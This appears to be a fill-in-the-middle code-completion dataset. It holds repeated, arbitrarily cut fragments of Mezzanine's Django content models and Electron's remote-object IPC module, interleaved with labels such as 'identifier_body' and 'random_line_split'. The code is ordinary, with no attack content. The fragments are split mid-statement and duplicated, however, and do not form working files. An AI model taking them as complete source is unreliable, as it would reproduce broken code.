, help_text=_("With Draft chosen, will only be shown for admin users " "on the site.")) publish_date = models.DateTimeField(_("Published from"), help_text=_("With Published chosen, won't be shown until this time"), blank=True, null=True) expiry_date = models.DateTimeField(_("Expires on"), help_text=_("With Published chosen, won't be shown after this time"), blank=True, null=True) short_url = models.URLField(blank=True, null=True) in_sitemap = models.BooleanField(_("Show in sitemap"), default=True) objects = DisplayableManager() search_fields = {"keywords": 10, "title": 5} class Meta: abstract = True def save(self, *args, **kwargs): """ Set default for ``publish_date``. We can't use ``auto_now_add`` on the field as it will be blank when a blog post is created from the quick blog form in the admin dashboard. """ if self.publish_date is None: self.publish_date = now() super(Displayable, self).save(*args, **kwargs) def get_admin_url(self): return admin_url(self, "change", self.id) def publish_date_since(self): """ Returns the time since ``publish_date``. """ return timesince(self.publish_date) publish_date_since.short_description = _("Published from") def get_absolute_url(self): """ Raise an error if called on a subclass without ``get_absolute_url`` defined, to ensure all search results contains a URL. """ name = self.__class__.__name__ raise NotImplementedError("The model %s does not have " "get_absolute_url defined" % name) def set_short_url(self): """ Sets the ``short_url`` attribute using the bit.ly credentials if they have been specified, and saves it. Used by the ``set_short_url_for`` template tag, and ``TweetableAdmin``. """ if not self.short_url: from mezzanine.conf import settings settings.use_editable() parts = (self.site.domain, self.get_absolute_url()) self.short_url = "http://%s%s" % parts if settings.BITLY_ACCESS_TOKEN: url = "https://api-ssl.bit.ly/v3/shorten?%s" % urlencode({ "access_token": settings.BITLY_ACCESS_TOKEN, "uri": self.short_url, }) response = loads(urlopen(url).read().decode("utf-8")) if response["status_code"] == 200: self.short_url = response["data"]["url"] self.save() return "" def _get_next_or_previous_by_publish_date(self, is_next, **kwargs): """ Retrieves next or previous object by publish date. We implement our own version instead of Django's so we can hook into the published manager and concrete subclasses. """ arg = "publish_date__gt" if is_next else "publish_date__lt" order = "publish_date" if is_next else "-publish_date" lookup = {arg: self.publish_date} concrete_model = base_concrete_model(Displayable, self) try: queryset = concrete_model.objects.published except AttributeError: queryset = concrete_model.objects.all try: return queryset(**kwargs).filter(**lookup).order_by(order)[0] except IndexError: pass def get_next_by_publish_date(self, **kwargs): """ Retrieves next object by publish date. """ return self._get_next_or_previous_by_publish_date(True, **kwargs) def get_previous_by_publish_date(self, **kwargs): """ Retrieves previous object by publish date. """ return self._get_next_or_previous_by_publish_date(False, **kwargs) class RichText(models.Model): """ Provides a Rich Text field for managing general content and making it searchable. """ content = RichTextField(_("Content")) search_fields = ("content",) class Meta: abstract = True class OrderableBase(ModelBase): """ Checks for ``order_with_respect_to`` on the model's inner ``Meta`` class and if found, copies it to a custom attribute and deletes it since it will cause errors when used with ``ForeignKey("self")``. Also creates the ``ordering`` attribute on the ``Meta`` class if not yet provided. """ def __new__(cls, name, bases, attrs): if "Meta" not in attrs: class Meta: pass attrs["Meta"] = Meta if hasattr(attrs["Meta"], "order_with_respect_to"): order_field = attrs["Meta"].order_with_respect_to attrs["order_with_respect_to"] = order_field del attrs["Meta"].order_with_respect_to if not hasattr(attrs["Meta"], "ordering"): setattr(attrs["Meta"], "ordering", ("_order",)) return super(OrderableBase, cls).__new__(cls, name, bases, attrs) class Orderable(with_metaclass(OrderableBase, models.Model)): """ Abstract model that provides a custom ordering integer field similar to using Meta's ``order_with_respect_to``, since to date (Django 1.2) this doesn't work with ``ForeignKey("self")``, or with Generic Relations. We may also want this feature for models that aren't ordered with respect to a particular field. """ _order = models.IntegerField(_("Order"), null=True) class Meta: abstract = True def with_respect_to(self): """ Returns a dict to use as a filter for ordering operations containing the original ``Meta.order_with_respect_to`` value if provided. If the field is a Generic Relation, the dict returned contains names and values for looking up the relation's ``ct_field`` and ``fk_field`` attributes. """ try: name = self.order_with_respect_to value = getattr(self, name) except AttributeError: # No ``order_with_respect_to`` specified on the model. return {} # Support for generic relations. field = getattr(self.__class__, name) if isinstance(field, GenericForeignKey): names = (field.ct_field, field.fk_field) return dict([(n, getattr(self, n)) for n in names]) return {name: value} def save(self, *args, **kwargs): """ Set the initial ordering value. """ if self._order is None: lookup = self.with_respect_to() lookup["_order__isnull"] = False concrete_model = base_concrete_model(Orderable, self) self._order = concrete_model.objects.filter(**lookup).count() super(Orderable, self).save(*args, **kwargs) def delete(self, *args, **kwargs): """ Update the ordering values for siblings. """ lookup = self.with_respect_to() lookup["_order__gte"] = self._order concrete_model = base_concrete_model(Orderable, self) after = concrete_model.objects.filter(**lookup) after.update(_order=models.F("_order") - 1) super(Orderable, self).delete(*args, **kwargs) def _get_next_or_previous_by_order(self, is_next, **kwargs): """ Retrieves next or previous object by order. We implement our own version instead of Django's so we can hook into the published manager, concrete subclasses and our custom ``with_respect_to`` method. """ lookup = self.with_respect_to() lookup["_order"] = self._order + (1 if is_next else -1) concrete_model = base_concrete_model(Orderable, self) try: queryset = concrete_model.objects.published except AttributeError: queryset = concrete_model.objects.filter try: return queryset(**kwargs).get(**lookup) except concrete_model.DoesNotExist: pass def get_next_by_order(self, **kwargs): """ Retrieves next object by order. """ return self._get_next_or_previous_by_order(True, **kwargs) def get_previous_by_order(self, **kwargs): """ Retrieves previous object by order. """ return self._get_next_or_previous_by_order(False, **kwargs) class Ownable(models.Model): """ Abstract model that provides ownership of an object for a user. """ user = models.ForeignKey(user_model_name, verbose_name=_("Author"), related_name="%(class)ss") class Meta: abstract = True def is_editable(self, request): """ Restrict in-line editing to the objects's owner and superusers. """ return request.user.is_superuser or request.user.id == self.user_id class SitePermission(models.Model): """ Permission relationship between a user and a site that's used instead of ``User.is_staff``, for admin and inline-editing access. """ user = models.ForeignKey(user_model_name, verbose_name=_("Author"), related_name="%(class)ss") sites = models.ManyToManyField("sites.Site", blank=True, verbose_name=_("Sites")) class Meta: verbose_name = _("Site permission") verbose_name_plural = _("Site permissions") def create_site_permission(sender, **kw): sender_name = "%s.%s" % (sender._meta.app_label, sender._meta.object_name) if sender_name.lower() != user_model_name.lower():
return
conditional_block
models.py
, blank=True, null=True, help_text=_("Leave blank to have the URL auto-generated from " "the title.")) class Meta: abstract = True def __str__(self): return self.title def save(self, *args, **kwargs): """ If no slug is provided, generates one before saving. """ if not self.slug: self.slug = self.generate_unique_slug() super(Slugged, self).save(*args, **kwargs) def generate_unique_slug(self): """ Create a unique slug by passing the result of get_slug() to utils.urls.unique_slug, which appends an index if necessary. """ # For custom content types, use the ``Page`` instance for # slug lookup. concrete_model = base_concrete_model(Slugged, self) slug_qs = concrete_model.objects.exclude(id=self.id) return unique_slug(slug_qs, "slug", self.get_slug()) def get_slug(self): """ Allows subclasses to implement their own slug creation logic. """ attr = "title" if settings.USE_MODELTRANSLATION: from modeltranslation.utils import build_localized_fieldname attr = build_localized_fieldname(attr, settings.LANGUAGE_CODE) # Get self.title_xx where xx is the default language, if any. # Get self.title otherwise. return slugify(getattr(self, attr, None) or self.title) def admin_link(self): return "<a href='%s'>%s</a>" % (self.get_absolute_url(), ugettext("View on site")) admin_link.allow_tags = True admin_link.short_description = "" class MetaData(models.Model): """ Abstract model that provides meta data for content. """ _meta_title = models.CharField(_("Title"), null=True, blank=True, max_length=500, help_text=_("Optional title to be used in the HTML title tag. " "If left blank, the main title field will be used.")) description = models.TextField(_("Description"), blank=True) gen_description = models.BooleanField(_("Generate description"), help_text=_("If checked, the description will be automatically " "generated from content. Uncheck if you want to manually " "set a custom description."), default=True) keywords = KeywordsField(verbose_name=_("Keywords")) class Meta: abstract = True def save(self, *args, **kwargs): """ Set the description field on save. """ if self.gen_description: self.description = strip_tags(self.description_from_content()) super(MetaData, self).save(*args, **kwargs) def meta_title(self): """ Accessor for the optional ``_meta_title`` field, which returns the string version of the instance if not provided. """ return self._meta_title or str(self) def description_from_content(self): """ Returns the first block or sentence of the first content-like field. """ description = "" # Use the first RichTextField, or TextField if none found. for field_type in (RichTextField, models.TextField): if not description: for field in self._meta.fields: if isinstance(field, field_type) and \ field.name != "description": description = getattr(self, field.name) if description: from mezzanine.core.templatetags.mezzanine_tags \ import richtext_filters description = richtext_filters(description) break # Fall back to the title if description couldn't be determined. if not description: description = str(self) # Strip everything after the first block or sentence. ends = ("</p>", "<br />", "<br/>", "<br>", "</ul>", "\n", ". ", "! ", "? ") for end in ends: pos = description.lower().find(end) if pos > -1: description = TagCloser(description[:pos]).html break else: description = truncatewords_html(description, 100) return description class TimeStamped(models.Model): """ Provides created and updated timestamps on models. """ class Meta: abstract = True created = models.DateTimeField(null=True, editable=False) updated = models.DateTimeField(null=True, editable=False) def save(self, *args, **kwargs): _now = now() self.updated = _now if not self.id: self.created = _now super(TimeStamped, self).save(*args, **kwargs) CONTENT_STATUS_DRAFT = 1 CONTENT_STATUS_PUBLISHED = 2 CONTENT_STATUS_CHOICES = ( (CONTENT_STATUS_DRAFT, _("Draft")), (CONTENT_STATUS_PUBLISHED, _("Published")), ) class Displayable(Slugged, MetaData, TimeStamped): """ Abstract model that provides features of a visible page on the website such as publishing fields. Basis of Mezzanine pages, blog posts, and Cartridge products. """ status = models.IntegerField(_("Status"), choices=CONTENT_STATUS_CHOICES, default=CONTENT_STATUS_PUBLISHED, help_text=_("With Draft chosen, will only be shown for admin users " "on the site.")) publish_date = models.DateTimeField(_("Published from"), help_text=_("With Published chosen, won't be shown until this time"), blank=True, null=True) expiry_date = models.DateTimeField(_("Expires on"), help_text=_("With Published chosen, won't be shown after this time"), blank=True, null=True) short_url = models.URLField(blank=True, null=True) in_sitemap = models.BooleanField(_("Show in sitemap"), default=True) objects = DisplayableManager() search_fields = {"keywords": 10, "title": 5} class Meta: abstract = True def save(self, *args, **kwargs): """ Set default for ``publish_date``. We can't use ``auto_now_add`` on the field as it will be blank when a blog post is created from the quick blog form in the admin dashboard. """ if self.publish_date is None: self.publish_date = now() super(Displayable, self).save(*args, **kwargs) def get_admin_url(self): return admin_url(self, "change", self.id) def publish_date_since(self): """ Returns the time since ``publish_date``. """ return timesince(self.publish_date) publish_date_since.short_description = _("Published from") def get_absolute_url(self): """ Raise an error if called on a subclass without ``get_absolute_url`` defined, to ensure all search results contains a URL. """ name = self.__class__.__name__ raise NotImplementedError("The model %s does not have " "get_absolute_url defined" % name) def set_short_url(self): """ Sets the ``short_url`` attribute using the bit.ly credentials if they have been specified, and saves it. Used by the ``set_short_url_for`` template tag, and ``TweetableAdmin``. """ if not self.short_url: from mezzanine.conf import settings settings.use_editable() parts = (self.site.domain, self.get_absolute_url()) self.short_url = "http://%s%s" % parts if settings.BITLY_ACCESS_TOKEN: url = "https://api-ssl.bit.ly/v3/shorten?%s" % urlencode({ "access_token": settings.BITLY_ACCESS_TOKEN, "uri": self.short_url, }) response = loads(urlopen(url).read().decode("utf-8")) if response["status_code"] == 200: self.short_url = response["data"]["url"] self.save() return "" def _get_next_or_previous_by_publish_date(self, is_next, **kwargs):
def get_next_by_publish_date(self, **kwargs): """ Retrieves next object by publish date. """ return self._get_next_or_previous_by_publish_date(True, **kwargs) def get_previous_by_publish_date(self, **kwargs): """ Retrieves previous object by publish date. """ return self._get_next_or_previous_by_publish_date(False, **kwargs) class RichText(models.Model): """ Provides a Rich Text field for managing general content and making it searchable. """ content = RichTextField(_("Content")) search_fields = ("content",) class Meta: abstract = True class OrderableBase(ModelBase): """ Checks for ``order_with_respect_to`` on the model's inner ``Meta`` class and if found, copies it to a custom attribute and deletes it since it will cause errors when used with ``ForeignKey("self")``. Also creates the ``ordering`` attribute on the ``Meta`` class if not yet provided. """
""" Retrieves next or previous object by publish date. We implement our own version instead of Django's so we can hook into the published manager and concrete subclasses. """ arg = "publish_date__gt" if is_next else "publish_date__lt" order = "publish_date" if is_next else "-publish_date" lookup = {arg: self.publish_date} concrete_model = base_concrete_model(Displayable, self) try: queryset = concrete_model.objects.published except AttributeError: queryset = concrete_model.objects.all try: return queryset(**kwargs).filter(**lookup).order_by(order)[0] except IndexError: pass
identifier_body
remote.ts
id: number) { const ref = remoteObjectCache.get(id); if (ref !== undefined) { const deref = ref.deref(); if (deref !== undefined) return deref; } } function setCachedRemoteObject (id: number, value: any) { const wr = new (window as any).WeakRef(value); remoteObjectCache.set(id, wr); finalizationRegistry.register(value, id); return value; } // An unique ID that can represent current context. const contextId = v8Util.getHiddenValue<string>(global, 'contextId'); // Notify the main process when current context is going to be released. // Note that when the renderer process is destroyed, the message may not be // sent, we also listen to the "render-view-deleted" event in the main process // to guard that situation. process.on('exit', () => { const command = IPC_MESSAGES.BROWSER_CONTEXT_RELEASE; ipcRendererInternal.send(command, contextId); }); const IS_REMOTE_PROXY = Symbol('is-remote-proxy'); // Convert the arguments object into an array of meta data. function wrapArgs (args: any[], visited = new Set()): any { const valueToMeta = (value: any): any => { // Check for circular reference. if (visited.has(value)) { return { type: 'value', value: null }; } if (value && value.constructor && value.constructor.name === 'NativeImage') { return { type: 'nativeimage', value: serialize(value) }; } else if (Array.isArray(value)) { visited.add(value); const meta = { type: 'array', value: wrapArgs(value, visited) }; visited.delete(value); return meta; } else if (value instanceof Buffer) { return { type: 'buffer', value }; } else if (isSerializableObject(value)) { return { type: 'value', value }; } else if (typeof value === 'object') { if (isPromise(value)) { return { type: 'promise', then: valueToMeta(function (onFulfilled: Function, onRejected: Function) { value.then(onFulfilled, onRejected); }) }; } else if (electronIds.has(value)) { return { type: 'remote-object', id: electronIds.get(value) }; } const meta: MetaTypeFromRenderer = { type: 'object', name: value.constructor ? value.constructor.name : '', members: [] }; visited.add(value); for (const prop in value) { // eslint-disable-line guard-for-in meta.members.push({ name: prop, value: valueToMeta(value[prop]) }); } visited.delete(value); return meta; } else if (typeof value === 'function' && isReturnValue.has(value)) { return { type: 'function-with-return-value', value: valueToMeta(value()) }; } else if (typeof value === 'function') { return { type: 'function', id: callbacksRegistry.add(value), location: callbacksRegistry.getLocation(value), length: value.length }; } else { return { type: 'value', value }; } }; return args.map(valueToMeta); } // Populate object's members from descriptors. // The |ref| will be kept referenced by |members|. // This matches |getObjectMembers| in rpc-server. function setObjectMembers (ref: any, object: any, metaId: number, members: ObjectMember[]) { if (!Array.isArray(members)) return; for (const member of members) { if (Object.prototype.hasOwnProperty.call(object, member.name)) continue; const descriptor: PropertyDescriptor = { enumerable: member.enumerable }; if (member.type === 'method') { const remoteMemberFunction = function (this: any, ...args: any[]) { let command; if (this && this.constructor === remoteMemberFunction) { command = IPC_MESSAGES.BROWSER_MEMBER_CONSTRUCTOR; } else { command = IPC_MESSAGES.BROWSER_MEMBER_CALL; } const ret = ipcRendererInternal.sendSync(command, contextId, metaId, member.name, wrapArgs(args)); return metaToValue(ret); }; let descriptorFunction = proxyFunctionProperties(remoteMemberFunction, metaId, member.name); descriptor.get = () => { descriptorFunction.ref = ref; // The member should reference its object. return descriptorFunction; }; // Enable monkey-patch the method descriptor.set = (value) => { descriptorFunction = value; return value; }; descriptor.configurable = true; } else if (member.type === 'get') { descriptor.get = () => { const command = IPC_MESSAGES.BROWSER_MEMBER_GET; const meta = ipcRendererInternal.sendSync(command, contextId, metaId, member.name); return metaToValue(meta); }; if (member.writable) { descriptor.set = (value) => { const args = wrapArgs([value]); const command = IPC_MESSAGES.BROWSER_MEMBER_SET; const meta = ipcRendererInternal.sendSync(command, contextId, metaId, member.name, args); if (meta != null) metaToValue(meta); return value; }; } } Object.defineProperty(object, member.name, descriptor); } } // Populate object's prototype from descriptor. // This matches |getObjectPrototype| in rpc-server. function setObjectPrototype (ref: any, object: any, metaId: number, descriptor: ObjProtoDescriptor) { if (descriptor === null) return; const proto = {}; setObjectMembers(ref, proto, metaId, descriptor.members); setObjectPrototype(ref, proto, metaId, descriptor.proto); Object.setPrototypeOf(object, proto); } // Wrap function in Proxy for accessing remote properties function proxyFunctionProperties (remoteMemberFunction: Function, metaId: number, name: string) { let loaded = false; // Lazily load function properties const loadRemoteProperties = () => { if (loaded) return; loaded = true; const command = IPC_MESSAGES.BROWSER_MEMBER_GET; const meta = ipcRendererInternal.sendSync(command, contextId, metaId, name); setObjectMembers(remoteMemberFunction, remoteMemberFunction, meta.id, meta.members); }; return new Proxy(remoteMemberFunction as any, { set: (target, property, value) => { if (property !== 'ref') loadRemoteProperties(); target[property] = value; return true; }, get: (target, property) => { if (property === IS_REMOTE_PROXY) return true; if (!Object.prototype.hasOwnProperty.call(target, property)) loadRemoteProperties(); const value = target[property]; if (property === 'toString' && typeof value === 'function') { return value.bind(target); } return value; }, ownKeys: (target) => { loadRemoteProperties(); return Object.getOwnPropertyNames(target); }, getOwnPropertyDescriptor: (target, property) => { const descriptor = Object.getOwnPropertyDescriptor(target, property); if (descriptor) return descriptor; loadRemoteProperties(); return Object.getOwnPropertyDescriptor(target, property); } }); } // Convert meta data from browser into real value. function metaToValue (meta: MetaType): any { if (meta.type === 'value') { return meta.value; } else if (meta.type === 'array') { return meta.members.map((member) => metaToValue(member)); } else if (meta.type === 'nativeimage') { return deserialize(meta.value); } else if (meta.type === 'buffer') { return Buffer.from(meta.value.buffer, meta.value.byteOffset, meta.value.byteLength); } else if (meta.type === 'promise') { return Promise.resolve({ then: metaToValue(meta.then) }); } else if (meta.type === 'error') { return metaToError(meta);
} else { let ret; if ('id' in meta) { const cached = getCachedRemoteObject(meta.id); if (cached !== undefined) { return cached; } } // A shadow class to represent the remote function object. if (meta.type === 'function') { const remoteFunction = function (this: any, ...args: any[]) { let command; if (this && this.constructor === remoteFunction) { command = IPC_MESSAGES.BROWSER_CONSTRUCTOR; } else { command = IPC_MESSAGES.BROWSER_FUNCTION_CALL; } const obj = ipcRendererInternal.sendSync(command, contextId, meta.id, wrapArgs(args)); return metaToValue(obj); }; ret = remoteFunction; } else { ret = {}; } setObjectMembers(ret, ret, meta.id, meta.members); setObjectPrototype(ret, ret, meta.id, meta.proto); if (ret.constructor && (ret.constructor as any)[IS_REMOTE_PROXY]) { Object.defineProperty(ret.constructor, 'name', { value: meta.name }); } // Track delegate obj's lifetime & tell browser to clean up when object is GCed. electronIds.set(ret, meta.id); setCachedRemoteObject(meta.id, ret); return ret; }
} else if (meta.type === 'exception') { if (meta.value.type === 'error') { throw metaToError(meta.value); } else { throw new Error(`Unexpected value type in exception: ${meta.value.type}`); }
random_line_split
remote.ts
: number) { const ref = remoteObjectCache.get(id); if (ref !== undefined) { const deref = ref.deref(); if (deref !== undefined) return deref; } } function setCachedRemoteObject (id: number, value: any) { const wr = new (window as any).WeakRef(value); remoteObjectCache.set(id, wr); finalizationRegistry.register(value, id); return value; } // An unique ID that can represent current context. const contextId = v8Util.getHiddenValue<string>(global, 'contextId'); // Notify the main process when current context is going to be released. // Note that when the renderer process is destroyed, the message may not be // sent, we also listen to the "render-view-deleted" event in the main process // to guard that situation. process.on('exit', () => { const command = IPC_MESSAGES.BROWSER_CONTEXT_RELEASE; ipcRendererInternal.send(command, contextId); }); const IS_REMOTE_PROXY = Symbol('is-remote-proxy'); // Convert the arguments object into an array of meta data. function wrapArgs (args: any[], visited = new Set()): any
} else if (value instanceof Buffer) { return { type: 'buffer', value }; } else if (isSerializableObject(value)) { return { type: 'value', value }; } else if (typeof value === 'object') { if (isPromise(value)) { return { type: 'promise', then: valueToMeta(function (onFulfilled: Function, onRejected: Function) { value.then(onFulfilled, onRejected); }) }; } else if (electronIds.has(value)) { return { type: 'remote-object', id: electronIds.get(value) }; } const meta: MetaTypeFromRenderer = { type: 'object', name: value.constructor ? value.constructor.name : '', members: [] }; visited.add(value); for (const prop in value) { // eslint-disable-line guard-for-in meta.members.push({ name: prop, value: valueToMeta(value[prop]) }); } visited.delete(value); return meta; } else if (typeof value === 'function' && isReturnValue.has(value)) { return { type: 'function-with-return-value', value: valueToMeta(value()) }; } else if (typeof value === 'function') { return { type: 'function', id: callbacksRegistry.add(value), location: callbacksRegistry.getLocation(value), length: value.length }; } else { return { type: 'value', value }; } }; return args.map(valueToMeta); } // Populate object's members from descriptors. // The |ref| will be kept referenced by |members|. // This matches |getObjectMembers| in rpc-server. function setObjectMembers (ref: any, object: any, metaId: number, members: ObjectMember[]) { if (!Array.isArray(members)) return; for (const member of members) { if (Object.prototype.hasOwnProperty.call(object, member.name)) continue; const descriptor: PropertyDescriptor = { enumerable: member.enumerable }; if (member.type === 'method') { const remoteMemberFunction = function (this: any, ...args: any[]) { let command; if (this && this.constructor === remoteMemberFunction) { command = IPC_MESSAGES.BROWSER_MEMBER_CONSTRUCTOR; } else { command = IPC_MESSAGES.BROWSER_MEMBER_CALL; } const ret = ipcRendererInternal.sendSync(command, contextId, metaId, member.name, wrapArgs(args)); return metaToValue(ret); }; let descriptorFunction = proxyFunctionProperties(remoteMemberFunction, metaId, member.name); descriptor.get = () => { descriptorFunction.ref = ref; // The member should reference its object. return descriptorFunction; }; // Enable monkey-patch the method descriptor.set = (value) => { descriptorFunction = value; return value; }; descriptor.configurable = true; } else if (member.type === 'get') { descriptor.get = () => { const command = IPC_MESSAGES.BROWSER_MEMBER_GET; const meta = ipcRendererInternal.sendSync(command, contextId, metaId, member.name); return metaToValue(meta); }; if (member.writable) { descriptor.set = (value) => { const args = wrapArgs([value]); const command = IPC_MESSAGES.BROWSER_MEMBER_SET; const meta = ipcRendererInternal.sendSync(command, contextId, metaId, member.name, args); if (meta != null) metaToValue(meta); return value; }; } } Object.defineProperty(object, member.name, descriptor); } } // Populate object's prototype from descriptor. // This matches |getObjectPrototype| in rpc-server. function setObjectPrototype (ref: any, object: any, metaId: number, descriptor: ObjProtoDescriptor) { if (descriptor === null) return; const proto = {}; setObjectMembers(ref, proto, metaId, descriptor.members); setObjectPrototype(ref, proto, metaId, descriptor.proto); Object.setPrototypeOf(object, proto); } // Wrap function in Proxy for accessing remote properties function proxyFunctionProperties (remoteMemberFunction: Function, metaId: number, name: string) { let loaded = false; // Lazily load function properties const loadRemoteProperties = () => { if (loaded) return; loaded = true; const command = IPC_MESSAGES.BROWSER_MEMBER_GET; const meta = ipcRendererInternal.sendSync(command, contextId, metaId, name); setObjectMembers(remoteMemberFunction, remoteMemberFunction, meta.id, meta.members); }; return new Proxy(remoteMemberFunction as any, { set: (target, property, value) => { if (property !== 'ref') loadRemoteProperties(); target[property] = value; return true; }, get: (target, property) => { if (property === IS_REMOTE_PROXY) return true; if (!Object.prototype.hasOwnProperty.call(target, property)) loadRemoteProperties(); const value = target[property]; if (property === 'toString' && typeof value === 'function') { return value.bind(target); } return value; }, ownKeys: (target) => { loadRemoteProperties(); return Object.getOwnPropertyNames(target); }, getOwnPropertyDescriptor: (target, property) => { const descriptor = Object.getOwnPropertyDescriptor(target, property); if (descriptor) return descriptor; loadRemoteProperties(); return Object.getOwnPropertyDescriptor(target, property); } }); } // Convert meta data from browser into real value. function metaToValue (meta: MetaType): any { if (meta.type === 'value') { return meta.value; } else if (meta.type === 'array') { return meta.members.map((member) => metaToValue(member)); } else if (meta.type === 'nativeimage') { return deserialize(meta.value); } else if (meta.type === 'buffer') { return Buffer.from(meta.value.buffer, meta.value.byteOffset, meta.value.byteLength); } else if (meta.type === 'promise') { return Promise.resolve({ then: metaToValue(meta.then) }); } else if (meta.type === 'error') { return metaToError(meta); } else if (meta.type === 'exception') { if (meta.value.type === 'error') { throw metaToError(meta.value); } else { throw new Error(`Unexpected value type in exception: ${meta.value.type}`); } } else { let ret; if ('id' in meta) { const cached = getCachedRemoteObject(meta.id); if (cached !== undefined) { return cached; } } // A shadow class to represent the remote function object. if (meta.type === 'function') { const remoteFunction = function (this: any, ...args: any[]) { let command; if (this && this.constructor === remoteFunction) { command = IPC_MESSAGES.BROWSER_CONSTRUCTOR; } else { command = IPC_MESSAGES.BROWSER_FUNCTION_CALL; } const obj = ipcRendererInternal.sendSync(command, contextId, meta.id, wrapArgs(args)); return metaToValue(obj); }; ret = remoteFunction; } else { ret = {}; } setObjectMembers(ret, ret, meta.id, meta.members); setObjectPrototype(ret, ret, meta.id, meta.proto); if (ret.constructor && (ret.constructor as any)[IS_REMOTE_PROXY]) { Object.defineProperty(ret.constructor, 'name', { value: meta.name }); } // Track delegate obj's lifetime & tell browser to clean up when object is GCed. electronIds.set(ret, meta.id); setCachedRemoteObject(meta.id, ret); return ret; }
{ const valueToMeta = (value: any): any => { // Check for circular reference. if (visited.has(value)) { return { type: 'value', value: null }; } if (value && value.constructor && value.constructor.name === 'NativeImage') { return { type: 'nativeimage', value: serialize(value) }; } else if (Array.isArray(value)) { visited.add(value); const meta = { type: 'array', value: wrapArgs(value, visited) }; visited.delete(value); return meta;
identifier_body
remote.ts
Function, onRejected: Function) { value.then(onFulfilled, onRejected); }) }; } else if (electronIds.has(value)) { return { type: 'remote-object', id: electronIds.get(value) }; } const meta: MetaTypeFromRenderer = { type: 'object', name: value.constructor ? value.constructor.name : '', members: [] }; visited.add(value); for (const prop in value) { // eslint-disable-line guard-for-in meta.members.push({ name: prop, value: valueToMeta(value[prop]) }); } visited.delete(value); return meta; } else if (typeof value === 'function' && isReturnValue.has(value)) { return { type: 'function-with-return-value', value: valueToMeta(value()) }; } else if (typeof value === 'function') { return { type: 'function', id: callbacksRegistry.add(value), location: callbacksRegistry.getLocation(value), length: value.length }; } else { return { type: 'value', value }; } }; return args.map(valueToMeta); } // Populate object's members from descriptors. // The |ref| will be kept referenced by |members|. // This matches |getObjectMembers| in rpc-server. function setObjectMembers (ref: any, object: any, metaId: number, members: ObjectMember[]) { if (!Array.isArray(members)) return; for (const member of members) { if (Object.prototype.hasOwnProperty.call(object, member.name)) continue; const descriptor: PropertyDescriptor = { enumerable: member.enumerable }; if (member.type === 'method') { const remoteMemberFunction = function (this: any, ...args: any[]) { let command; if (this && this.constructor === remoteMemberFunction) { command = IPC_MESSAGES.BROWSER_MEMBER_CONSTRUCTOR; } else { command = IPC_MESSAGES.BROWSER_MEMBER_CALL; } const ret = ipcRendererInternal.sendSync(command, contextId, metaId, member.name, wrapArgs(args)); return metaToValue(ret); }; let descriptorFunction = proxyFunctionProperties(remoteMemberFunction, metaId, member.name); descriptor.get = () => { descriptorFunction.ref = ref; // The member should reference its object. return descriptorFunction; }; // Enable monkey-patch the method descriptor.set = (value) => { descriptorFunction = value; return value; }; descriptor.configurable = true; } else if (member.type === 'get') { descriptor.get = () => { const command = IPC_MESSAGES.BROWSER_MEMBER_GET; const meta = ipcRendererInternal.sendSync(command, contextId, metaId, member.name); return metaToValue(meta); }; if (member.writable) { descriptor.set = (value) => { const args = wrapArgs([value]); const command = IPC_MESSAGES.BROWSER_MEMBER_SET; const meta = ipcRendererInternal.sendSync(command, contextId, metaId, member.name, args); if (meta != null) metaToValue(meta); return value; }; } } Object.defineProperty(object, member.name, descriptor); } } // Populate object's prototype from descriptor. // This matches |getObjectPrototype| in rpc-server. function setObjectPrototype (ref: any, object: any, metaId: number, descriptor: ObjProtoDescriptor) { if (descriptor === null) return; const proto = {}; setObjectMembers(ref, proto, metaId, descriptor.members); setObjectPrototype(ref, proto, metaId, descriptor.proto); Object.setPrototypeOf(object, proto); } // Wrap function in Proxy for accessing remote properties function proxyFunctionProperties (remoteMemberFunction: Function, metaId: number, name: string) { let loaded = false; // Lazily load function properties const loadRemoteProperties = () => { if (loaded) return; loaded = true; const command = IPC_MESSAGES.BROWSER_MEMBER_GET; const meta = ipcRendererInternal.sendSync(command, contextId, metaId, name); setObjectMembers(remoteMemberFunction, remoteMemberFunction, meta.id, meta.members); }; return new Proxy(remoteMemberFunction as any, { set: (target, property, value) => { if (property !== 'ref') loadRemoteProperties(); target[property] = value; return true; }, get: (target, property) => { if (property === IS_REMOTE_PROXY) return true; if (!Object.prototype.hasOwnProperty.call(target, property)) loadRemoteProperties(); const value = target[property]; if (property === 'toString' && typeof value === 'function') { return value.bind(target); } return value; }, ownKeys: (target) => { loadRemoteProperties(); return Object.getOwnPropertyNames(target); }, getOwnPropertyDescriptor: (target, property) => { const descriptor = Object.getOwnPropertyDescriptor(target, property); if (descriptor) return descriptor; loadRemoteProperties(); return Object.getOwnPropertyDescriptor(target, property); } }); } // Convert meta data from browser into real value. function metaToValue (meta: MetaType): any { if (meta.type === 'value') { return meta.value; } else if (meta.type === 'array') { return meta.members.map((member) => metaToValue(member)); } else if (meta.type === 'nativeimage') { return deserialize(meta.value); } else if (meta.type === 'buffer') { return Buffer.from(meta.value.buffer, meta.value.byteOffset, meta.value.byteLength); } else if (meta.type === 'promise') { return Promise.resolve({ then: metaToValue(meta.then) }); } else if (meta.type === 'error') { return metaToError(meta); } else if (meta.type === 'exception') { if (meta.value.type === 'error') { throw metaToError(meta.value); } else { throw new Error(`Unexpected value type in exception: ${meta.value.type}`); } } else { let ret; if ('id' in meta) { const cached = getCachedRemoteObject(meta.id); if (cached !== undefined) { return cached; } } // A shadow class to represent the remote function object. if (meta.type === 'function') { const remoteFunction = function (this: any, ...args: any[]) { let command; if (this && this.constructor === remoteFunction) { command = IPC_MESSAGES.BROWSER_CONSTRUCTOR; } else { command = IPC_MESSAGES.BROWSER_FUNCTION_CALL; } const obj = ipcRendererInternal.sendSync(command, contextId, meta.id, wrapArgs(args)); return metaToValue(obj); }; ret = remoteFunction; } else { ret = {}; } setObjectMembers(ret, ret, meta.id, meta.members); setObjectPrototype(ret, ret, meta.id, meta.proto); if (ret.constructor && (ret.constructor as any)[IS_REMOTE_PROXY]) { Object.defineProperty(ret.constructor, 'name', { value: meta.name }); } // Track delegate obj's lifetime & tell browser to clean up when object is GCed. electronIds.set(ret, meta.id); setCachedRemoteObject(meta.id, ret); return ret; } } function metaToError (meta: { type: 'error', value: any, members: ObjectMember[] }) { const obj = meta.value; for (const { name, value } of meta.members) { obj[name] = metaToValue(value); } return obj; } function handleMessage (channel: string, handler: Function) { ipcRendererInternal.onMessageFromMain(channel, (event, passedContextId, id, ...args) => { if (passedContextId === contextId) { handler(id, ...args); } else { // Message sent to an un-exist context, notify the error to main process. ipcRendererInternal.send(IPC_MESSAGES.BROWSER_WRONG_CONTEXT_ERROR, contextId, 